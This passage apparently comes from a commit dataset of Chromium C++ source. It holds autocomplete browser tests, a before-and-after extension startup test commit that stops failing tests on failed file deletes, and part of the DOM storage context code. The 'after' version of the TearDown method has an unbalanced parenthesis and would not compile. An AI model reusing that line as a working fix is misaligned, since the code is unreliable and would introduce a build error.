location_bar->location_entry()->GetText());\n EXPECT_FALSE(location_bar->location_entry()->IsSelectAll());\n}\n\nIN_PROC_BROWSER_TEST_F(AutocompleteBrowserTest, MAYBE_Autocomplete) {\n \/\/ The results depend on the history backend being loaded. Make sure it is\n \/\/ loaded so that the autocomplete results are consistent.\n ui_test_utils::WaitForHistoryToLoad(browser());\n\n LocationBar* location_bar = GetLocationBar();\n AutocompleteController* autocomplete_controller = GetAutocompleteController();\n\n {\n autocomplete_controller->Start(\n ASCIIToUTF16(\"chrome\"), string16(), true, false, true,\n AutocompleteInput::SYNCHRONOUS_MATCHES);\n\n EXPECT_TRUE(autocomplete_controller->done());\n EXPECT_TRUE(location_bar->GetInputString().empty());\n EXPECT_TRUE(location_bar->location_entry()->GetText().empty());\n EXPECT_TRUE(location_bar->location_entry()->IsSelectAll());\n const AutocompleteResult& result = autocomplete_controller->result();\n \/\/ We get two matches because we have a provider for extension apps and the\n \/\/ Chrome Web Store is a built-in Extension app. For this test, we only care\n \/\/ about the other match existing.\n ASSERT_GE(result.size(), 1U) << AutocompleteResultAsString(result);\n AutocompleteMatch match = result.match_at(0);\n EXPECT_EQ(AutocompleteMatch::SEARCH_WHAT_YOU_TYPED, match.type);\n EXPECT_FALSE(match.deletable);\n }\n\n {\n location_bar->Revert();\n\n EXPECT_TRUE(location_bar->GetInputString().empty());\n EXPECT_EQ(UTF8ToUTF16(chrome::kAboutBlankURL),\n location_bar->location_entry()->GetText());\n EXPECT_FALSE(location_bar->location_entry()->IsSelectAll());\n const AutocompleteResult& result = autocomplete_controller->result();\n EXPECT_TRUE(result.empty()) << AutocompleteResultAsString(result);\n }\n}\n\nIN_PROC_BROWSER_TEST_F(AutocompleteBrowserTest, TabAwayRevertSelect) {\n \/\/ http:\/\/code.google.com\/p\/chromium\/issues\/detail?id=38385\n \/\/ Make sure that tabbing away from an empty omnibar causes a revert\n \/\/ and select all.\n LocationBar* location_bar = GetLocationBar();\n EXPECT_EQ(UTF8ToUTF16(chrome::kAboutBlankURL),\n location_bar->location_entry()->GetText());\n location_bar->location_entry()->SetUserText(string16());\n browser()->AddSelectedTabWithURL(GURL(chrome::kAboutBlankURL),\n PageTransition::START_PAGE);\n ui_test_utils::WaitForNavigation(\n &browser()->GetSelectedTabContents()->controller());\n EXPECT_EQ(UTF8ToUTF16(chrome::kAboutBlankURL),\n location_bar->location_entry()->GetText());\n browser()->CloseTab();\n EXPECT_EQ(UTF8ToUTF16(chrome::kAboutBlankURL),\n location_bar->location_entry()->GetText());\n EXPECT_TRUE(location_bar->location_entry()->IsSelectAll());\n}\n\nIN_PROC_BROWSER_TEST_F(AutocompleteBrowserTest, FocusSearch) {\n LocationBar* location_bar = GetLocationBar();\n\n \/\/ Focus search when omnibox is blank\n {\n EXPECT_TRUE(location_bar->GetInputString().empty());\n EXPECT_EQ(UTF8ToUTF16(chrome::kAboutBlankURL),\n location_bar->location_entry()->GetText());\n\n location_bar->FocusSearch();\n EXPECT_TRUE(location_bar->GetInputString().empty());\n EXPECT_EQ(ASCIIToUTF16(\"?\"), location_bar->location_entry()->GetText());\n\n size_t selection_start, selection_end;\n location_bar->location_entry()->GetSelectionBounds(&selection_start,\n &selection_end);\n EXPECT_EQ(1U, selection_start);\n EXPECT_EQ(1U, selection_end);\n }\n\n \/\/ Focus search when omnibox is _not_ alread in forced query mode.\n {\n location_bar->location_entry()->SetUserText(ASCIIToUTF16(\"foo\"));\n EXPECT_TRUE(location_bar->GetInputString().empty());\n EXPECT_EQ(ASCIIToUTF16(\"foo\"), location_bar->location_entry()->GetText());\n\n location_bar->FocusSearch();\n EXPECT_TRUE(location_bar->GetInputString().empty());\n EXPECT_EQ(ASCIIToUTF16(\"?\"), location_bar->location_entry()->GetText());\n\n size_t selection_start, selection_end;\n location_bar->location_entry()->GetSelectionBounds(&selection_start,\n &selection_end);\n EXPECT_EQ(1U, selection_start);\n EXPECT_EQ(1U, selection_end);\n }\n\n \/\/ Focus search when omnibox _is_ already in forced query mode, but no query\n \/\/ has been typed.\n {\n location_bar->location_entry()->SetUserText(ASCIIToUTF16(\"?\"));\n EXPECT_TRUE(location_bar->GetInputString().empty());\n EXPECT_EQ(ASCIIToUTF16(\"?\"), location_bar->location_entry()->GetText());\n\n location_bar->FocusSearch();\n EXPECT_TRUE(location_bar->GetInputString().empty());\n EXPECT_EQ(ASCIIToUTF16(\"?\"), location_bar->location_entry()->GetText());\n\n size_t selection_start, selection_end;\n location_bar->location_entry()->GetSelectionBounds(&selection_start,\n &selection_end);\n EXPECT_EQ(1U, selection_start);\n EXPECT_EQ(1U, selection_end);\n }\n\n \/\/ Focus search when omnibox _is_ already in forced query mode, and some query\n \/\/ has been typed.\n {\n location_bar->location_entry()->SetUserText(ASCIIToUTF16(\"?foo\"));\n EXPECT_TRUE(location_bar->GetInputString().empty());\n EXPECT_EQ(ASCIIToUTF16(\"?foo\"), location_bar->location_entry()->GetText());\n\n location_bar->FocusSearch();\n EXPECT_TRUE(location_bar->GetInputString().empty());\n EXPECT_EQ(ASCIIToUTF16(\"?foo\"), location_bar->location_entry()->GetText());\n\n size_t selection_start, selection_end;\n location_bar->location_entry()->GetSelectionBounds(&selection_start,\n &selection_end);\n EXPECT_EQ(1U, std::min(selection_start, selection_end));\n EXPECT_EQ(4U, std::max(selection_start, selection_end));\n }\n\n \/\/ Focus search when omnibox is in forced query mode with leading whitespace.\n {\n location_bar->location_entry()->SetUserText(ASCIIToUTF16(\" ?foo\"));\n EXPECT_TRUE(location_bar->GetInputString().empty());\n EXPECT_EQ(ASCIIToUTF16(\" ?foo\"),\n location_bar->location_entry()->GetText());\n\n location_bar->FocusSearch();\n EXPECT_TRUE(location_bar->GetInputString().empty());\n EXPECT_EQ(ASCIIToUTF16(\" ?foo\"),\n location_bar->location_entry()->GetText());\n\n size_t selection_start, selection_end;\n location_bar->location_entry()->GetSelectionBounds(&selection_start,\n &selection_end);\n EXPECT_EQ(4U, std::min(selection_start, selection_end));\n EXPECT_EQ(7U, std::max(selection_start, selection_end));\n }\n}\n\nIN_PROC_BROWSER_TEST_F(AutocompleteBrowserTest, ExtensionAppProvider) {\n ExtensionService* service = browser()->profile()->GetExtensionService();\n size_t extension_count = service->extensions()->size();\n\n FilePath test_dir;\n ASSERT_TRUE(PathService::Get(chrome::DIR_TEST_DATA, &test_dir));\n \/\/ Load a packaged app.\n service->LoadExtension(test_dir.AppendASCII(\"extensions\")\n .AppendASCII(\"packaged_app\"));\n WaitForExtensionLoad();\n \/\/ Load a hosted app.\n service->LoadExtension(test_dir.AppendASCII(\"extensions\")\n .AppendASCII(\"app\"));\n WaitForExtensionLoad();\n ASSERT_EQ(extension_count + 2U, service->extensions()->size());\n\n \/\/ The results depend on the history backend being loaded. Make sure it is\n \/\/ loaded so that the autocomplete results are consistent.\n ui_test_utils::WaitForHistoryToLoad(browser());\n\n LocationBar* location_bar = GetLocationBar();\n AutocompleteController* autocomplete_controller = GetAutocompleteController();\n\n \/\/ Try out the packaged app.\n {\n autocomplete_controller->Start(\n ASCIIToUTF16(\"Packaged App Test\"), string16(), true, false, true,\n AutocompleteInput::SYNCHRONOUS_MATCHES);\n\n EXPECT_TRUE(autocomplete_controller->done());\n EXPECT_TRUE(location_bar->GetInputString().empty());\n EXPECT_TRUE(location_bar->location_entry()->GetText().empty());\n EXPECT_TRUE(location_bar->location_entry()->IsSelectAll());\n const AutocompleteResult& result = autocomplete_controller->result();\n EXPECT_GT(result.size(), 1U) << AutocompleteResultAsString(result);\n AutocompleteMatch match = result.match_at(0);\n EXPECT_EQ(ASCIIToUTF16(\"Packaged App Test\"), match.contents);\n EXPECT_EQ(AutocompleteMatch::EXTENSION_APP, match.type);\n EXPECT_FALSE(match.deletable);\n location_bar->AcceptInput();\n }\n\n browser()->NewTab();\n\n \/\/ Try out the hosted app.\n {\n autocomplete_controller->Start(\n ASCIIToUTF16(\"App Test\"), string16(), true, false, true,\n AutocompleteInput::SYNCHRONOUS_MATCHES);\n\n EXPECT_TRUE(autocomplete_controller->done());\n EXPECT_TRUE(location_bar->GetInputString().empty());\n EXPECT_TRUE(location_bar->location_entry()->GetText().empty());\n EXPECT_TRUE(location_bar->location_entry()->IsSelectAll());\n const AutocompleteResult& result = autocomplete_controller->result();\n \/\/ 'App test' is also a substring of extension 'Packaged App Test'.\n EXPECT_GT(result.size(), 2U) << AutocompleteResultAsString(result);\n AutocompleteMatch match = result.match_at(0);\n EXPECT_EQ(ASCIIToUTF16(\"App Test\"), match.contents);\n EXPECT_EQ(AutocompleteMatch::EXTENSION_APP, match.type);\n EXPECT_FALSE(match.deletable);\n location_bar->AcceptInput();\n }\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/ Copyright (c) 2008 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include <vector>\n\n#include \"base\/command_line.h\"\n#include \"base\/file_path.h\"\n#include \"base\/file_util.h\"\n#include \"base\/path_service.h\"\n#include \"chrome\/browser\/browser.h\"\n#include \"chrome\/browser\/extensions\/extensions_service.h\"\n#include \"chrome\/browser\/extensions\/user_script_master.h\"\n#include \"chrome\/browser\/profile.h\"\n#include \"chrome\/browser\/tab_contents\/tab_contents.h\"\n#include \"chrome\/common\/chrome_paths.h\"\n#include \"chrome\/common\/chrome_switches.h\"\n#include \"chrome\/common\/notification_details.h\"\n#include \"chrome\/common\/notification_observer.h\"\n#include \"chrome\/common\/notification_registrar.h\"\n#include \"chrome\/common\/notification_service.h\"\n#include \"chrome\/common\/notification_type.h\"\n#include \"chrome\/test\/in_process_browser_test.h\"\n#include \"chrome\/test\/ui_test_utils.h\"\n#include \"net\/base\/net_util.h\"\n\n\/\/ This file contains high-level startup tests for the extensions system. We've\n\/\/ had many silly bugs where command line flags did not get propagated correctly\n\/\/ into the services, so we didn't start correctly.\n\nclass ExtensionStartupTestBase : public InProcessBrowserTest {\n public:\n ExtensionStartupTestBase() : enable_extensions_(false) {\n }\n\n protected:\n \/\/ InProcessBrowserTest\n virtual void SetUpCommandLine(CommandLine* command_line) {\n EnableDOMAutomation();\n\n FilePath profile_dir;\n PathService::Get(chrome::DIR_USER_DATA, &profile_dir);\n profile_dir = profile_dir.AppendASCII(\"Default\");\n file_util::CreateDirectory(profile_dir);\n\n preferences_file_ = profile_dir.AppendASCII(\"Preferences\");\n user_scripts_dir_ = profile_dir.AppendASCII(\"User Scripts\");\n extensions_dir_ = profile_dir.AppendASCII(\"Extensions\");\n\n if (enable_extensions_) {\n FilePath src_dir;\n PathService::Get(chrome::DIR_TEST_DATA, &src_dir);\n src_dir = src_dir.AppendASCII(\"extensions\").AppendASCII(\"good\");\n\n file_util::CopyFile(src_dir.AppendASCII(\"Preferences\"),\n preferences_file_);\n file_util::CopyDirectory(src_dir.AppendASCII(\"Extensions\"),\n profile_dir, true); \/\/ recursive\n } else {\n command_line->AppendSwitch(switches::kDisableExtensions);\n }\n\n if (!load_extension_.value().empty()) {\n command_line->AppendSwitchWithValue(switches::kLoadExtension,\n load_extension_.ToWStringHack());\n }\n }\n\n virtual void TearDown() {\n EXPECT_TRUE(file_util::Delete(preferences_file_, false));\n EXPECT_TRUE(file_util::Delete(user_scripts_dir_, true));\n EXPECT_TRUE(file_util::Delete(extensions_dir_, true));\n }\n\n void WaitForServicesToStart(int num_expected_extensions,\n bool expect_extensions_enabled) {\n ExtensionsService* service = browser()->profile()->GetExtensionsService();\n if (!service->is_ready())\n ui_test_utils::WaitForNotification(NotificationType::EXTENSIONS_READY);\n ASSERT_TRUE(service->is_ready());\n\n ASSERT_EQ(static_cast<uint32>(num_expected_extensions),\n service->extensions()->size());\n ASSERT_EQ(expect_extensions_enabled, service->extensions_enabled());\n\n UserScriptMaster* master = browser()->profile()->GetUserScriptMaster();\n if (!master->ScriptsReady()) {\n ui_test_utils::WaitForNotification(\n NotificationType::USER_SCRIPTS_UPDATED);\n }\n ASSERT_TRUE(master->ScriptsReady());\n }\n\n void TestInjection(bool expect_css, bool expect_script) {\n \/\/ Load a page affected by the content script and test to see the effect.\n FilePath test_file;\n PathService::Get(chrome::DIR_TEST_DATA, &test_file);\n test_file = test_file.AppendASCII(\"extensions\")\n .AppendASCII(\"test_file.html\");\n\n ui_test_utils::NavigateToURL(browser(), net::FilePathToFileURL(test_file));\n\n bool result = false;\n ui_test_utils::ExecuteJavaScriptAndExtractBool(\n browser()->GetSelectedTabContents()->render_view_host(), L\"\",\n L\"window.domAutomationController.send(\"\n L\"document.defaultView.getComputedStyle(document.body, null).\"\n L\"getPropertyValue('background-color') == 'rgb(245, 245, 220)')\",\n &result);\n EXPECT_EQ(expect_css, result);\n\n result = false;\n ui_test_utils::ExecuteJavaScriptAndExtractBool(\n browser()->GetSelectedTabContents()->render_view_host(), L\"\",\n L\"window.domAutomationController.send(document.title == 'Modified')\",\n &result);\n EXPECT_EQ(expect_script, result);\n }\n\n FilePath preferences_file_;\n FilePath extensions_dir_;\n FilePath user_scripts_dir_;\n bool enable_extensions_;\n FilePath load_extension_;\n};\n\n\n\/\/ ExtensionsStartupTest\n\/\/ Ensures that we can startup the browser with --enable-extensions and some\n\/\/ extensions installed and see them run and do basic things.\n\nclass ExtensionsStartupTest : public ExtensionStartupTestBase {\n public:\n ExtensionsStartupTest() {\n enable_extensions_ = true;\n }\n};\n\nIN_PROC_BROWSER_TEST_F(ExtensionsStartupTest, Test) {\n WaitForServicesToStart(4, true); \/\/ 1 component extension and 3 others.\n TestInjection(true, true);\n}\n\n\/\/ ExtensionsLoadTest\n\/\/ Ensures that we can startup the browser with --load-extension and see them\n\/\/ run.\n\nclass ExtensionsLoadTest : public ExtensionStartupTestBase {\n public:\n ExtensionsLoadTest() {\n PathService::Get(chrome::DIR_TEST_DATA, &load_extension_);\n load_extension_ = load_extension_\n .AppendASCII(\"extensions\")\n .AppendASCII(\"good\")\n .AppendASCII(\"Extensions\")\n .AppendASCII(\"behllobkkfkfnphdnhnkndlbkcpglgmj\")\n .AppendASCII(\"1.0.0.0\");\n }\n};\n\nIN_PROC_BROWSER_TEST_F(ExtensionsLoadTest, Test) {\n WaitForServicesToStart(1, false);\n TestInjection(true, true);\n}\n<commit_msg>Do not make the tests fail on failed file deletes.<commit_after>\/\/ Copyright (c) 2008 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include <vector>\n\n#include \"base\/command_line.h\"\n#include \"base\/file_path.h\"\n#include \"base\/file_util.h\"\n#include \"base\/path_service.h\"\n#include \"chrome\/browser\/browser.h\"\n#include \"chrome\/browser\/extensions\/extensions_service.h\"\n#include \"chrome\/browser\/extensions\/user_script_master.h\"\n#include \"chrome\/browser\/profile.h\"\n#include \"chrome\/browser\/tab_contents\/tab_contents.h\"\n#include \"chrome\/common\/chrome_paths.h\"\n#include \"chrome\/common\/chrome_switches.h\"\n#include \"chrome\/common\/notification_details.h\"\n#include \"chrome\/common\/notification_observer.h\"\n#include \"chrome\/common\/notification_registrar.h\"\n#include \"chrome\/common\/notification_service.h\"\n#include \"chrome\/common\/notification_type.h\"\n#include \"chrome\/test\/in_process_browser_test.h\"\n#include \"chrome\/test\/ui_test_utils.h\"\n#include \"net\/base\/net_util.h\"\n\n\/\/ This file contains high-level startup tests for the extensions system. We've\n\/\/ had many silly bugs where command line flags did not get propagated correctly\n\/\/ into the services, so we didn't start correctly.\n\nclass ExtensionStartupTestBase : public InProcessBrowserTest {\n public:\n ExtensionStartupTestBase() : enable_extensions_(false) {\n }\n\n protected:\n \/\/ InProcessBrowserTest\n virtual void SetUpCommandLine(CommandLine* command_line) {\n EnableDOMAutomation();\n\n FilePath profile_dir;\n PathService::Get(chrome::DIR_USER_DATA, &profile_dir);\n profile_dir = profile_dir.AppendASCII(\"Default\");\n file_util::CreateDirectory(profile_dir);\n\n preferences_file_ = profile_dir.AppendASCII(\"Preferences\");\n user_scripts_dir_ = profile_dir.AppendASCII(\"User Scripts\");\n extensions_dir_ = profile_dir.AppendASCII(\"Extensions\");\n\n if (enable_extensions_) {\n FilePath src_dir;\n PathService::Get(chrome::DIR_TEST_DATA, &src_dir);\n src_dir = src_dir.AppendASCII(\"extensions\").AppendASCII(\"good\");\n\n file_util::CopyFile(src_dir.AppendASCII(\"Preferences\"),\n preferences_file_);\n file_util::CopyDirectory(src_dir.AppendASCII(\"Extensions\"),\n profile_dir, true); \/\/ recursive\n } else {\n command_line->AppendSwitch(switches::kDisableExtensions);\n }\n\n if (!load_extension_.value().empty()) {\n command_line->AppendSwitchWithValue(switches::kLoadExtension,\n load_extension_.ToWStringHack());\n }\n }\n\n virtual void TearDown() {\n EXPECT_TRUE(file_util::Delete(preferences_file_, false));\n\n \/\/ TODO(phajdan.jr): Check return values of the functions below, carefully.\n file_util::Delete(user_scripts_dir_, true);\n file_util::Delete(extensions_dir_, true));\n }\n\n void WaitForServicesToStart(int num_expected_extensions,\n bool expect_extensions_enabled) {\n ExtensionsService* service = browser()->profile()->GetExtensionsService();\n if (!service->is_ready())\n ui_test_utils::WaitForNotification(NotificationType::EXTENSIONS_READY);\n ASSERT_TRUE(service->is_ready());\n\n ASSERT_EQ(static_cast<uint32>(num_expected_extensions),\n service->extensions()->size());\n ASSERT_EQ(expect_extensions_enabled, service->extensions_enabled());\n\n UserScriptMaster* master = browser()->profile()->GetUserScriptMaster();\n if (!master->ScriptsReady()) {\n ui_test_utils::WaitForNotification(\n NotificationType::USER_SCRIPTS_UPDATED);\n }\n ASSERT_TRUE(master->ScriptsReady());\n }\n\n void TestInjection(bool expect_css, bool expect_script) {\n \/\/ Load a page affected by the content script and test to see the effect.\n FilePath test_file;\n PathService::Get(chrome::DIR_TEST_DATA, &test_file);\n test_file = test_file.AppendASCII(\"extensions\")\n .AppendASCII(\"test_file.html\");\n\n ui_test_utils::NavigateToURL(browser(), net::FilePathToFileURL(test_file));\n\n bool result = false;\n ui_test_utils::ExecuteJavaScriptAndExtractBool(\n browser()->GetSelectedTabContents()->render_view_host(), L\"\",\n L\"window.domAutomationController.send(\"\n L\"document.defaultView.getComputedStyle(document.body, null).\"\n L\"getPropertyValue('background-color') == 'rgb(245, 245, 220)')\",\n &result);\n EXPECT_EQ(expect_css, result);\n\n result = false;\n ui_test_utils::ExecuteJavaScriptAndExtractBool(\n browser()->GetSelectedTabContents()->render_view_host(), L\"\",\n L\"window.domAutomationController.send(document.title == 'Modified')\",\n &result);\n EXPECT_EQ(expect_script, result);\n }\n\n FilePath preferences_file_;\n FilePath extensions_dir_;\n FilePath user_scripts_dir_;\n bool enable_extensions_;\n FilePath load_extension_;\n};\n\n\n\/\/ ExtensionsStartupTest\n\/\/ Ensures that we can startup the browser with --enable-extensions and some\n\/\/ extensions installed and see them run and do basic things.\n\nclass ExtensionsStartupTest : public ExtensionStartupTestBase {\n public:\n ExtensionsStartupTest() {\n enable_extensions_ = true;\n }\n};\n\nIN_PROC_BROWSER_TEST_F(ExtensionsStartupTest, Test) {\n WaitForServicesToStart(4, true); \/\/ 1 component extension and 3 others.\n TestInjection(true, true);\n}\n\n\/\/ ExtensionsLoadTest\n\/\/ Ensures that we can startup the browser with --load-extension and see them\n\/\/ run.\n\nclass ExtensionsLoadTest : public ExtensionStartupTestBase {\n public:\n ExtensionsLoadTest() {\n PathService::Get(chrome::DIR_TEST_DATA, &load_extension_);\n load_extension_ = load_extension_\n .AppendASCII(\"extensions\")\n .AppendASCII(\"good\")\n .AppendASCII(\"Extensions\")\n .AppendASCII(\"behllobkkfkfnphdnhnkndlbkcpglgmj\")\n .AppendASCII(\"1.0.0.0\");\n }\n};\n\nIN_PROC_BROWSER_TEST_F(ExtensionsLoadTest, Test) {\n WaitForServicesToStart(1, false);\n TestInjection(true, true);\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/ Copyright (c) 2010 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"chrome\/browser\/in_process_webkit\/dom_storage_context.h\"\n\n#include <algorithm>\n\n#include \"base\/file_path.h\"\n#include \"base\/file_util.h\"\n#include \"base\/string_util.h\"\n#include \"chrome\/browser\/browser_thread.h\"\n#include \"chrome\/browser\/in_process_webkit\/dom_storage_area.h\"\n#include \"chrome\/browser\/in_process_webkit\/dom_storage_namespace.h\"\n#include \"chrome\/browser\/in_process_webkit\/webkit_context.h\"\n#include \"chrome\/common\/dom_storage_common.h\"\n#include \"third_party\/WebKit\/WebKit\/chromium\/public\/WebSecurityOrigin.h\"\n#include \"third_party\/WebKit\/WebKit\/chromium\/public\/WebString.h\"\n#include \"webkit\/glue\/webkit_glue.h\"\n\nconst FilePath::CharType DOMStorageContext::kLocalStorageDirectory[] =\n FILE_PATH_LITERAL(\"Local Storage\");\n\nconst FilePath::CharType DOMStorageContext::kLocalStorageExtension[] =\n FILE_PATH_LITERAL(\".localstorage\");\n\nstatic const FilePath::CharType kLocalStorageOldPath[] =\n FILE_PATH_LITERAL(\"localStorage\");\n\n\/\/ TODO(jorlow): Remove after Chrome 4 ships.\nstatic void MigrateLocalStorageDirectory(const FilePath& data_path) {\n FilePath new_path = data_path.Append(\n DOMStorageContext::kLocalStorageDirectory);\n FilePath old_path = data_path.Append(kLocalStorageOldPath);\n if (!file_util::DirectoryExists(new_path) &&\n file_util::DirectoryExists(old_path)) {\n file_util::Move(old_path, new_path);\n }\n}\n\nDOMStorageContext::DOMStorageContext(WebKitContext* webkit_context)\n : last_storage_area_id_(0),\n last_session_storage_namespace_id_on_ui_thread_(kLocalStorageNamespaceId),\n last_session_storage_namespace_id_on_io_thread_(kLocalStorageNamespaceId),\n webkit_context_(webkit_context) {\n}\n\nDOMStorageContext::~DOMStorageContext() {\n \/\/ This should not go away until all DOM Storage Dispatcher hosts have gone\n \/\/ away. And they remove themselves from this list.\n DCHECK(dispatcher_host_set_.empty());\n\n for (StorageNamespaceMap::iterator iter(storage_namespace_map_.begin());\n iter != storage_namespace_map_.end(); ++iter) {\n delete iter->second;\n }\n}\n\nint64 DOMStorageContext::AllocateStorageAreaId() {\n DCHECK(BrowserThread::CurrentlyOn(BrowserThread::WEBKIT));\n return ++last_storage_area_id_;\n}\n\nint64 DOMStorageContext::AllocateSessionStorageNamespaceId() {\n if (BrowserThread::CurrentlyOn(BrowserThread::UI))\n return ++last_session_storage_namespace_id_on_ui_thread_;\n return --last_session_storage_namespace_id_on_io_thread_;\n}\n\nint64 DOMStorageContext::CloneSessionStorage(int64 original_id) {\n DCHECK(!BrowserThread::CurrentlyOn(BrowserThread::WEBKIT));\n int64 clone_id = AllocateSessionStorageNamespaceId();\n BrowserThread::PostTask(\n BrowserThread::WEBKIT, FROM_HERE, NewRunnableFunction(\n &DOMStorageContext::CompleteCloningSessionStorage,\n this, original_id, clone_id));\n return clone_id;\n}\n\nvoid DOMStorageContext::RegisterStorageArea(DOMStorageArea* storage_area) {\n DCHECK(BrowserThread::CurrentlyOn(BrowserThread::WEBKIT));\n int64 id = storage_area->id();\n DCHECK(!GetStorageArea(id));\n storage_area_map_[id] = storage_area;\n}\n\nvoid DOMStorageContext::UnregisterStorageArea(DOMStorageArea* storage_area) {\n DCHECK(BrowserThread::CurrentlyOn(BrowserThread::WEBKIT));\n int64 id = storage_area->id();\n DCHECK(GetStorageArea(id));\n storage_area_map_.erase(id);\n}\n\nDOMStorageArea* DOMStorageContext::GetStorageArea(int64 id) {\n DCHECK(BrowserThread::CurrentlyOn(BrowserThread::WEBKIT));\n StorageAreaMap::iterator iter = storage_area_map_.find(id);\n if (iter == storage_area_map_.end())\n return NULL;\n return iter->second;\n}\n\nvoid DOMStorageContext::DeleteSessionStorageNamespace(int64 namespace_id) {\n DCHECK(BrowserThread::CurrentlyOn(BrowserThread::WEBKIT));\n StorageNamespaceMap::iterator iter =\n storage_namespace_map_.find(namespace_id);\n if (iter == storage_namespace_map_.end())\n return;\n DCHECK(iter->second->dom_storage_type() == DOM_STORAGE_SESSION);\n delete iter->second;\n storage_namespace_map_.erase(iter);\n}\n\nDOMStorageNamespace* DOMStorageContext::GetStorageNamespace(\n int64 id, bool allocation_allowed) {\n DCHECK(BrowserThread::CurrentlyOn(BrowserThread::WEBKIT));\n StorageNamespaceMap::iterator iter = storage_namespace_map_.find(id);\n if (iter != storage_namespace_map_.end())\n return iter->second;\n if (!allocation_allowed)\n return NULL;\n if (id == kLocalStorageNamespaceId)\n return CreateLocalStorage();\n return CreateSessionStorage(id);\n}\n\nvoid DOMStorageContext::RegisterDispatcherHost(\n DOMStorageDispatcherHost* dispatcher_host) {\n DCHECK(BrowserThread::CurrentlyOn(BrowserThread::IO));\n DCHECK(dispatcher_host_set_.find(dispatcher_host) ==\n dispatcher_host_set_.end());\n dispatcher_host_set_.insert(dispatcher_host);\n}\n\nvoid DOMStorageContext::UnregisterDispatcherHost(\n DOMStorageDispatcherHost* dispatcher_host) {\n DCHECK(BrowserThread::CurrentlyOn(BrowserThread::IO));\n DCHECK(dispatcher_host_set_.find(dispatcher_host) !=\n dispatcher_host_set_.end());\n dispatcher_host_set_.erase(dispatcher_host);\n}\n\nconst DOMStorageContext::DispatcherHostSet*\nDOMStorageContext::GetDispatcherHostSet() const {\n DCHECK(BrowserThread::CurrentlyOn(BrowserThread::IO));\n return &dispatcher_host_set_;\n}\n\nvoid DOMStorageContext::PurgeMemory() {\n \/\/ It is only safe to purge the memory from the LocalStorage namespace,\n \/\/ because it is backed by disk and can be reloaded later. If we purge a\n \/\/ SessionStorage namespace, its data will be gone forever, because it isn't\n \/\/ currently backed by disk.\n DOMStorageNamespace* local_storage =\n GetStorageNamespace(kLocalStorageNamespaceId, false);\n if (local_storage)\n local_storage->PurgeMemory();\n}\n\nvoid DOMStorageContext::DeleteDataModifiedSince(\n const base::Time& cutoff,\n const char* url_scheme_to_be_skipped,\n const std::vector<string16>& protected_origins) {\n \/\/ Make sure that we don't delete a database that's currently being accessed\n \/\/ by unloading all of the databases temporarily.\n PurgeMemory();\n\n file_util::FileEnumerator file_enumerator(\n webkit_context_->data_path().Append(kLocalStorageDirectory), false,\n file_util::FileEnumerator::FILES);\n for (FilePath path = file_enumerator.Next(); !path.value().empty();\n path = file_enumerator.Next()) {\n WebKit::WebSecurityOrigin web_security_origin =\n WebKit::WebSecurityOrigin::createFromDatabaseIdentifier(\n webkit_glue::FilePathToWebString(path.BaseName()));\n if (EqualsASCII(web_security_origin.protocol(), url_scheme_to_be_skipped))\n continue;\n\n std::vector<string16>::const_iterator find_iter =\n std::find(protected_origins.begin(), protected_origins.end(),\n web_security_origin.databaseIdentifier());\n if (find_iter != protected_origins.end())\n continue;\n\n file_util::FileEnumerator::FindInfo find_info;\n file_enumerator.GetFindInfo(&find_info);\n if (file_util::HasFileBeenModifiedSince(find_info, cutoff))\n file_util::Delete(path, false);\n }\n}\n\nvoid DOMStorageContext::DeleteLocalStorageFile(const FilePath& file_path) {\n DCHECK(BrowserThread::CurrentlyOn(BrowserThread::WEBKIT));\n\n \/\/ Make sure that we don't delete a database that's currently being accessed\n \/\/ by unloading all of the databases temporarily.\n \/\/ TODO(bulach): both this method and DeleteDataModifiedSince could purge\n \/\/ only the memory used by the specific file instead of all memory at once.\n \/\/ See http:\/\/crbug.com\/32000\n PurgeMemory();\n file_util::Delete(file_path, false);\n}\n\nvoid DOMStorageContext::DeleteLocalStorageForOrigin(const string16& origin_id) {\n DCHECK(BrowserThread::CurrentlyOn(BrowserThread::WEBKIT));\n DeleteLocalStorageFile(GetLocalStorageFilePath(origin_id));\n}\n\nvoid DOMStorageContext::DeleteAllLocalStorageFiles() {\n DCHECK(BrowserThread::CurrentlyOn(BrowserThread::WEBKIT));\n\n \/\/ Make sure that we don't delete a database that's currently being accessed\n \/\/ by unloading all of the databases temporarily.\n PurgeMemory();\n\n file_util::FileEnumerator file_enumerator(\n webkit_context_->data_path().Append(kLocalStorageDirectory), false,\n file_util::FileEnumerator::FILES);\n for (FilePath file_path = file_enumerator.Next(); !file_path.empty();\n file_path = file_enumerator.Next()) {\n if (file_path.Extension() == kLocalStorageExtension)\n file_util::Delete(file_path, false);\n }\n}\n\nDOMStorageNamespace* DOMStorageContext::CreateLocalStorage() {\n FilePath data_path = webkit_context_->data_path();\n FilePath dir_path;\n if (!data_path.empty()) {\n MigrateLocalStorageDirectory(data_path);\n dir_path = data_path.Append(kLocalStorageDirectory);\n }\n DOMStorageNamespace* new_namespace =\n DOMStorageNamespace::CreateLocalStorageNamespace(this, dir_path);\n RegisterStorageNamespace(new_namespace);\n return new_namespace;\n}\n\nDOMStorageNamespace* DOMStorageContext::CreateSessionStorage(\n int64 namespace_id) {\n DOMStorageNamespace* new_namespace =\n DOMStorageNamespace::CreateSessionStorageNamespace(this, namespace_id);\n RegisterStorageNamespace(new_namespace);\n return new_namespace;\n}\n\nvoid DOMStorageContext::RegisterStorageNamespace(\n DOMStorageNamespace* storage_namespace) {\n DCHECK(BrowserThread::CurrentlyOn(BrowserThread::WEBKIT));\n int64 id = storage_namespace->id();\n DCHECK(!GetStorageNamespace(id, false));\n storage_namespace_map_[id] = storage_namespace;\n}\n\n\/* static *\/\nvoid DOMStorageContext::CompleteCloningSessionStorage(\n DOMStorageContext* context, int64 existing_id, int64 clone_id) {\n DCHECK(BrowserThread::CurrentlyOn(BrowserThread::WEBKIT));\n DOMStorageNamespace* existing_namespace =\n context->GetStorageNamespace(existing_id, false);\n \/\/ If nothing exists, then there's nothing to clone.\n if (existing_namespace)\n context->RegisterStorageNamespace(existing_namespace->Copy(clone_id));\n}\n\n\/\/ static\nvoid DOMStorageContext::ClearLocalState(const FilePath& profile_path,\n const char* url_scheme_to_be_skipped) {\n 